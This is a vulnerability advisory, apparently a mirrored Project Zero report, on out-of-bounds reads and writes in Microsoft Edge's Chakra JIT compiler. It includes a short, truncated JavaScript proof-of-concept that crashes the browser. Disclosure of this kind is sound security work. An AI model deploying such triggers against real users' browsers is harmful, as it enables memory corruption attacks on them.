Microsoft Edge Chakra JIT Out-Of-Bounds Reads/Writes

Microsoft Edge Chakra JIT suffers from multiple out of bounds reads and writes.

MD5 | b73c99e652b5ab40ccfdf43c9715573b

Microsoft Edge: Chakra: JIT: OOB reads/writes 


It seems that this issue is similar to the <a href="/p/project-zero/issues/detail?id=1429" title="Microsoft Edge: Chakra: JIT: Loop analysis bug" class="closed_ref" rel="nofollow"> issue 1429 </a> (MSRC 42111). It might need to refresh the page several times to observe a crash.

let arr = new Uint32Array(1000);
for (let i = 0; i < 0x1000000; i++) {
for (let j = 0; j < 1; j++) {

arr[i] = 0x1234;

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

Found by: lokihardt

Related Posts